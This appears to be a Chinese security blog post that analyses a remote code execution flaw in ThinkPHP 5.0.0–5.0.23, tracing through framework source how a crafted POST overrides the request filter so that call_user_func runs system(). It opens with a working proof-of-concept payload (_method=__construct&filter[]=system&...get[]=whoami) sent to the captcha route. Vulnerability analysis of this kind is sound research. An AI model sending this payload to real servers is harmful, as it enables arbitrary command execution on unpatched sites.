Hu3sky's blog

Tp5.0.0-5.0.23 RCE学习

Word count: 1,088 / Reading time: 6 min
2019/01/18 Share

Tp5.0.0-5.0.23 RCE学习

POC

1
2
3
4
url: http://127.0.0.1:12345/tp5.0_rce/public/index.php
?s=captcha

$_POST: _method=__construct&filter[]=system&method=get&get[]=whoami

1

分析过程

位置

1
2
文件:thinkphp/library/think/App.php
方法:run

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
/**
* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;

try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
...

$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
...
}
...
}

首先获取$dispatch应用调度变量
在tp中,有五种调度类型,具体见
https://www.kancloud.cn/zmwtp/tp5/119428#2__34

这里我们的$dispatch的值是method
1
跟到

1
2
文件:thinkphp/library/think/Request.php
方法:method

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

1
文件:application/config.php

var_method设置为_method
1
于是POST参数_method进入判断
执行语句$this->{$this->method}($_POST);
于是,
因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组
而Request类的构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 构造函数
* @access protected
* @param array $options 参数
*/
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');
}

1
这里通过forech即可对成员变量filter进行变量覆盖
filter是全局过滤规则
1

根据我们传入的payload
_method=__construct&filter[]=system&method=get&get[]=whoami
覆盖

1
2
3
method = 'get'
get[0] = whoami
filter[0] = system

注意我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get

路由检测完之后
接着,用exec函数处理

1
2
文件:thinkphp/library/think/App.php
方法:exec

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/**
* 执行调用分发
* @access protected
* @param array $dispatch 调用信息
* @param array $config 配置信息
* @return Response|mixed
* @throws \InvalidArgumentException
*/
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

return $data;
}

由于$dispatch=method
进入
Request::instance()->param()

1
2
文件: thinkphp/library/think/Request.php
方法: param()

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 获取当前请求的参数
* @access public
* @param string|array $name 变量名
* @param mixed $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
...
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
...
}
return $this->input($this->param, $name, $default, $filter);
}

获取当前请求的参数
之后进到input方法,解释过滤器
1

1
2
文件:thinkphp/library/think/Request.php
方法:getFilter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
return $filter;
}

此时,filter数组
1

从getFilter出来后
$this->param即数组
进入array_walk_recursive
1
array_walk_recursive函数:
对数组中的每个成员递归地应用用户函数
即对data每个成员调用filterValue

1
2
文件:thinkphp/library/think/Request.php
方法:filterValue

看到,调用了call_user_func 造成命令执行
1

CATALOG
  1. 1. Tp5.0.0-5.0.23 RCE学习
    1. 1.1. POC
    2. 1.2. 分析过程